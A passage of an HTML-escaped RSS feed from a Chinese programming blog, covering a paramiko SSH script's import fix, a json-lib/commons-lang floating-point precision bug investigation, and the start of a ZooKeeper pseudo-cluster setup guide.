&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Begin......&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;threading&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;Thread&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;target&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ssh2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;args&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;username&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;passwd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cmd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;start&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;input&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;运行报错.
&lt;code&gt;ImportError: No module named &#39;winrandom&#39;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;so一下..找到一个办法
&lt;a href=&#34;http://stackoverflow.com/questions/24804829/another-one-about-pycrypto-and-paramiko&#34;&gt;http://stackoverflow.com/questions/24804829/another-one-about-pycrypto-and-paramiko&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;找到python3.5的安装目录的
&lt;code&gt;Lib\site-packages\Crypto\Random\OSRNG&lt;/code&gt;的nt.py文件将&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nn&#34;&gt;winrandom&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;改成&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;from&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nn&#34;&gt;winrandom&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;再次运行ok.非常简单&lt;/p&gt;</description>
    </item>
    <item>
      <title>json-lib反序列化精度丢失问题</title>
      <link>http://blog.leaver.me/2015/11/25/json-lib%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%B2%BE%E5%BA%A6%E4%B8%A2%E5%A4%B1%E9%97%AE%E9%A2%98/</link>
      <pubDate>Wed, 25 Nov 2015 21:30:58 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/11/25/json-lib%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%B2%BE%E5%BA%A6%E4%B8%A2%E5%A4%B1%E9%97%AE%E9%A2%98/</guid>
      <description>&lt;p&gt;最近在工作中,遇到一个问题,项目中某处使用了json-lib的2.4-jdk15版本.问题最终简化为&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;double amount = 6264583.33;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;String jsonString = &amp;#34;{\&amp;#34;pi\&amp;#34;:&amp;#34; + amount + &amp;#34;}&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;JSONObject jsonObject = JSONObject.fromObject(jsonString);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;转换前:&amp;#34; + jsonString);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;转换后:&amp;#34; + jsonObject);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个值输出的将会是6264583.5 这个值.这个问题.先google一下,很快赵到了
&lt;a href=&#34;http://sourceforge.net/p/json-lib/bugs/116/&#34;&gt;http://sourceforge.net/p/json-lib/bugs/116/&lt;/a&gt; 于是,大概问题知道了.是json-lib的一个bug,但是这个bug怎么来的呢.结合这个bug下面的评论和debug代码,先以pi这个例子,很快走到了.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;json_create&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/json_create.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;可以看到json-lib走到了apache common-lang(2.5这个版本) 的&lt;code&gt;NumberUtils.createNumber&lt;/code&gt;处,此时String的还是对的.
继续单步,来到这个方法里面&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;json_mant_dec&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/json_mant_dec.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;可以看到这里小数部分,整数部分也都还是对的.继续向下走.我擦.画风不太对.居然采用了先尝试float,发现没问题.然后就继续尝试double,我擦.直接数据就丢失了呀..&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;json_float&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/json_float.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;json_float_fluent&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/json_float_fluent.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;好吧..那么现在问题就便成了更简单的一个问题.&lt;/p&gt;
&lt;p&gt;使用NumberUtils.createNumber 的bug.在bug issue里,有人提到.这个bug,apache官方已知.好的.
&lt;a href=&#34;https://issues.apache.org/jira/browse/LANG-693&#34;&gt;https://issues.apache.org/jira/browse/LANG-693&lt;/a&gt;
然后在这里有官方的一次修复,修复记录在这里.3.2版本已经修复.
&lt;a href=&#34;http://svn.apache.org/viewvc?view=revision&amp;amp;revision=1484263&#34;&gt;http://svn.apache.org/viewvc?view=revision&amp;amp;revision=1484263&lt;/a&gt;
可以看到是对小数部分的长度进行了判断.如果小于7位,就用float转换,如果大于7,小于16,就用double,如果还大,就用BigDecimal.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;json_common_lang3_fix&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/json_common_lang3_fix.jpg&#34;&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;n = org.apache.commons.lang3.math.NumberUtils.createNumber(&amp;#34;3.14159265358&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;lang3_createNumber_3.14159265358----&amp;gt;&amp;#34; + n + &amp;#34;-&amp;gt;精度正常&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;于是我继续debug,看common-lang3的修复情况,好像确实是修复了.但是对于我出现的问题1.6264583.33 这个数字,还是出现了精度丢失,因为这里小数部分小于7位,所以尝试使用float转换,直接丢失精度&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;lang3_float_loss&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/lang3_float_loss.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;修复不完善..&lt;/p&gt;
&lt;p&gt;于是提个bug :https://issues.apache.org/jira/browse/LANG-1187 等回复.&lt;/p&gt;
&lt;p&gt;继续.公司内部一般使用fastjson,那么如果我使用fastjson,有问题吗? 发现没有问题.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Object o = com.alibaba.fastjson.JSONObject.parse(&amp;#34;3.14159265358&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;fastjson_createNumber_3.14159265358----&amp;gt;&amp;#34; + o + &amp;#34;-&amp;gt;精度正常&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;o = com.alibaba.fastjson.JSONObject.parse(&amp;#34;6264583.33&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;fastjson_createNumber_6264583.33----&amp;gt;&amp;#34; + o + &amp;#34;-&amp;gt;精度正常&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&#34;fastjson_decimal&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/fastjson_decimal.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;可以看到,这里做转换的时候传递了一个是否是bigdecimal的标识.而这个标识默认是开启的.而且即使不开启..&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;fastjson_first_decimal&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/fastjson_first_decimal.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;最坏的情况也是个double.所以数据不会丢失.&lt;/p&gt;
&lt;p&gt;再顺便说一下,double的6264583.33 为什么转换到float会精度丢失,先看一下浮点数在计算机中怎么表示的
&lt;img alt=&#34;double_present&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/double_present.jpg&#34;&gt;
找到一张图,这是double的标识和浮点数的计算.&lt;/p&gt;
&lt;p&gt;而浮点数则是32位,1位符号位,8位幂,23位尾数,看测试代码&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//double标识测试
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;double d = 6264583.33d;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;long l = Double.doubleToLongBits(d);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(Long.toBinaryString(l));
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//float想要表示这个数字
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;float f = 6264583.33f;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;int value = Float.floatToIntBits(f);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(Integer.toBinaryString(value));
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//double表示这个值
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;d = 6264583.5d;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;l = Double.doubleToLongBits(d);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(Long.toBinaryString(l));
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;输出结果(做一下分割对齐)&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;1 00000101010    111111001011100000111010101000111101011100001010010
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;1    00101010    1111110010111000001111
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;1 00000101010    111111001011100000111100000000000000000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;注意看,第一行是6264583.33的double表示.而同样想要用float表示这个数字,发现幂,符号位,都是对的.但是因为尾数只有23位,所以四舍五入,将完整double的后几位进位1,变成了这个二进制表示法,这时候已经不准确了,
而这个数字呢.看第三行,会发现实际上是6264583.5的精确值表示.尾数位0都是可以省略的,因为按照公式计算也没啥作用.&lt;/p&gt;
&lt;p&gt;如有问题,欢迎评论讨论.&lt;/p&gt;
&lt;p&gt;附录:
完整的测试代码&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;public class App {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    public static void main(String[] args) {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//http://sourceforge.net/p/json-lib/bugs/116/
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//2.4版本有问题
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;double pi = 3.14159265358;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;String jsonString = &amp;#34;{\&amp;#34;pi\&amp;#34;:&amp;#34; + pi + &amp;#34;}&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;JSONObject jsonObject = JSONObject.fromObject(jsonString);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;转换前:&amp;#34; + jsonString);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;转换后:&amp;#34; + jsonObject);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;double amount = 6264583.33;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;jsonString = &amp;#34;{\&amp;#34;pi\&amp;#34;:&amp;#34; + amount + &amp;#34;}&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;jsonObject = JSONObject.fromObject(jsonString);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;转换前:&amp;#34; + jsonString);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;转换后:&amp;#34; + jsonObject);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//测试2.4版本引入的lang,这里面
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Number n = org.apache.commons.lang.math.NumberUtils.createNumber(&amp;#34;3.14159265358&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;lang2_createNumber_3.14159265358----&amp;gt;&amp;#34; + n + &amp;#34;-&amp;gt;精度丢失&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;n = org.apache.commons.lang.math.NumberUtils.createNumber(&amp;#34;6264583.33&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;lang2_createNumber_6264583.33----&amp;gt;&amp;#34; + n + &amp;#34;-&amp;gt;精度丢失&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//测试3.4版本,里面是根据小数部分的长度,选择是否使用float还是double,当小数部分大于7的时候,就会使用double
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;n = org.apache.commons.lang3.math.NumberUtils.createNumber(&amp;#34;3.14159265358&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;lang3_createNumber_3.14159265358----&amp;gt;&amp;#34; + n + &amp;#34;-&amp;gt;精度正常&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//这种情况就会有问题,虽然小数部分是33,两位,但是实际上是个浮点数.所以还会丢失精度
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;n = org.apache.commons.lang3.math.NumberUtils.createNumber(&amp;#34;6264583.33&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;lang3_createNumber_6264583.33----&amp;gt;&amp;#34; + n + &amp;#34;-&amp;gt;精度丢失&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//测试fastjson
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Object o = com.alibaba.fastjson.JSONObject.parse(&amp;#34;3.14159265358&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;fastjson_createNumber_3.14159265358----&amp;gt;&amp;#34; + o + &amp;#34;-&amp;gt;精度正常&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;o = com.alibaba.fastjson.JSONObject.parse(&amp;#34;6264583.33&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(&amp;#34;fastjson_createNumber_6264583.33----&amp;gt;&amp;#34; + o + &amp;#34;-&amp;gt;精度正常&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//double标识测试
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;double d = 6264583.33d;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;long l = Double.doubleToLongBits(d);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(Long.toBinaryString(l));
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//float想要表示这个数字
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;float f = 6264583.33f;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;int value = Float.floatToIntBits(f);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(Integer.toBinaryString(value));
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;//double表示这个值
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;d = 6264583.5d;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;l = Double.doubleToLongBits(d);
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;System.out.println(Long.toBinaryString(l));
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;     }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
    </item>
    <item>
      <title>zookeeper伪集群部署</title>
      <link>http://blog.leaver.me/2015/11/22/zookeeper%E4%BC%AA%E9%9B%86%E7%BE%A4%E9%83%A8%E7%BD%B2/</link>
      <pubDate>Sun, 22 Nov 2015 16:06:43 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/11/22/zookeeper%E4%BC%AA%E9%9B%86%E7%BE%A4%E9%83%A8%E7%BD%B2/</guid>
      <description>&lt;p&gt;zookeeper是用来管理分布式环境的系统主要用来服务发现,配置管理,同步.大致原理是zookeeper 自身集群的每个节点都维护这一个目录树,内容相同,每个节点的数据一致性由zookeeper自身的算法来解决.下篇尝试.zookeeper本篇主要说明如果部署zookeeper的分布式环境.&lt;/p&gt;
&lt;h2 id=&#34;下载&#34;&gt;下载&lt;/h2&gt;
&lt;p&gt;zookeeper由apache在管理,下载地址:&lt;a href=&#34;http://www.apache.org/dyn/closer.cgi/zookeeper/&#34;&gt;http://www.apache.org/dyn/closer.cgi/zookeeper/&lt;/a&gt;.下载完成后,随便放个目录好了..&lt;/p&gt;
&lt;h2 id=&#34;配置&#34;&gt;配置&lt;/h2&gt;
&lt;p&gt;本次创建3个节点.
1 . 存储目录准备
首先给每个伪节点创建一个目录.用来存储每个节点保存的目录信息.真实的分布式环境将对应在不同的机器上.
这里我在D:\zookeeper,创建三个目录,分别是zk1,zk2,zk3.
然后为每个集群编写一个myid文件,标识集群id&lt;/p&gt;
&lt;p&gt;2 . 启动配置文件
下载完成后,在conf目录会看到由一个zoo_sample.cfg实例配置文件,我们可以以这个为模板.来为分布式环境的每个zookeeper节点配置一个节点的数据目录,端口.其他节点的信息等.&lt;/p&gt;
&lt;p&gt;我们在conf目录例创建三个配置文件,分别为zk1.cfg,zk2.cfg,zk3.cfg;
里面的值
zk1.cfg&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;tickTime=2000 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;initLimit=10 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;syncLimit=5 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;dataDir=D:/zookeeper/zk1 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;clientPort=2181 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;server.1=127.0.0.1:2888:3888 
